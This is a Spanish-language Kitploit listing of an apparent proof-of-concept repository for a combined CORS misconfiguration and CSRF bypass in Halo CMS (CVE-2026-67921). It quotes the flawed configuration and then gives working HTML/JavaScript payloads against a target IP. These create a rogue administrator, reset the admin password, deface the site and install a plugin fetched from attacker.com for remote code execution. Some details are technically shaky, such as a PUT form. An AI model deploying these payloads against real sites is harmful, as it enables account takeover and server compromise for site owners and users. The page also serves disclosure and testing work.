Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
halo-cors-csrf-CVE-2026-67921 — Prueba de concepto que demuestra una configuración incorrecta combinada de CORS y una omisión de la protección CSRF en Halo CMS, lo que permite ataques de falsificación de solicitudes entre sitios para crear usuarios administradores, cambiar contraseñas, instalar complementos y modificar contenido. | Kitploit
Herramientas/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Ver Repositorio
24hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto que demuestra una configuración incorrecta combinada de CORS y una omisión de la protección CSRF en Halo CMS, lo que permite ataques de falsificación de solicitudes entre sitios para crear usuarios administradores, cambiar contraseñas, instalar complementos y modificar contenido.

Compartir

CVE-2026-67921: Configuración incorrecta de CORS en Halo CMS + Bypass de Protección CSRF — Ataque Combinado

Resumen

Existe una vulnerabilidad crítica de ataque combinado en las versiones de Halo CMS hasta la 2.25.4 debido a dos configuraciones de seguridad incorrectas:

  1. Configuración incorrecta de CORS: La política CORS permite * (cualquier origen) con credentials: true
  2. Bypass de Protección CSRF: Todos los endpoints de API (/api/**, /apis/**) están excluidos de la protección CSRF

Cuando se combinan, permiten a un atacante realizar ataques de Cross-Site Request Forgery desde cualquier origen, evadiendo la protección de Same-Origin Policy que CORS está diseñado para hacer cumplir.

Puntuación CVSS v3.1: 9.3 (Crítica)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Política de Dominio Cruzado Permisiva) ID CVE: CVE-2026-67921


Versiones Afectadas

  • Halo CMS ≤ 2.25.4
  • Todas las versiones con CORS habilitado y CSRF deshabilitado para rutas de API

Detalles de la Vulnerabilidad

Vulnerabilidad 1: Configuración incorrecta de CORS

Archivo: application/src/main/java/run/halo/app/security/CorsConfigurer.java

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← CUALQUIER origen
    configuration.setAllowCredentials(true);                // ← Permitir cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impacto: Cualquier sitio web puede realizar solicitudes autenticadas a la API de Halo con las cookies del usuario.

Vulnerabilidad 2: Bypass de Protección CSRF

Archivo: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Rutas de API excluidas de CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impacto: Las solicitudes de API no requieren tokens CSRF, incluso cuando se autentican mediante cookies de sesión.


Mecanismo del Ataque

Por Qué Esta Combinación es Peligrosa

ProtecciónSoloCombinada
CORS *Bloquea credenciales (impuesto por el navegador)¡Credenciales permitidas!
Sin CSRFProtegido por Same-Origin Policy¡Evadido por CORS!
ResultadoSeguroCSRF completo

El Flujo del Ataque

┌─────────────────────────────────────────────────────────────┐
│  El atacante aloja una página maliciosa en evil.com         │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  El navegador de la víctima visita evil.com                 │
│  → El formulario se envía automáticamente a la API de Halo  │
│  → El navegador incluye la cookie de sesión automáticamente │
│  → CORS: Origen * + credentials: true → ¡Solicitud permitida!│
│  → CSRF: /apis/** excluido → ¡No se requiere token!         │
│  → La solicitud se ejecuta con los privilegios de la víctima│
└─────────────────────────────────────────────────────────────┘

Escenarios de Explotación

Escenario 1: Crear Usuario Administrador

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Escenario 2: Cambiar la Contraseña del Administrador

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Escenario 3: Instalar Plugin Malicioso (RCE)

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Escenario 4: Modificar el Contenido del Sitio

<html>
<body>
<script>
  // Cambiar el título del sitio
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Prueba de Concepto

Prueba CSRF Básica

Crea csrf-test.html:

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página intentará modificar la configuración de Halo cuando se cargue.</p>

<script>
// Probar CSRF modificando el título del sitio
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">¡ÉXITO! El ataque CSRF funcionó.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Falló: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Pasos de Verificación

  1. Abre csrf-test.html en un navegador mientras estás conectado a Halo
  2. Comprueba si el título del sitio cambió
  3. Revisa la consola del navegador para ver las cabeceras CORS:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Análisis de Impacto

Descargar herramienta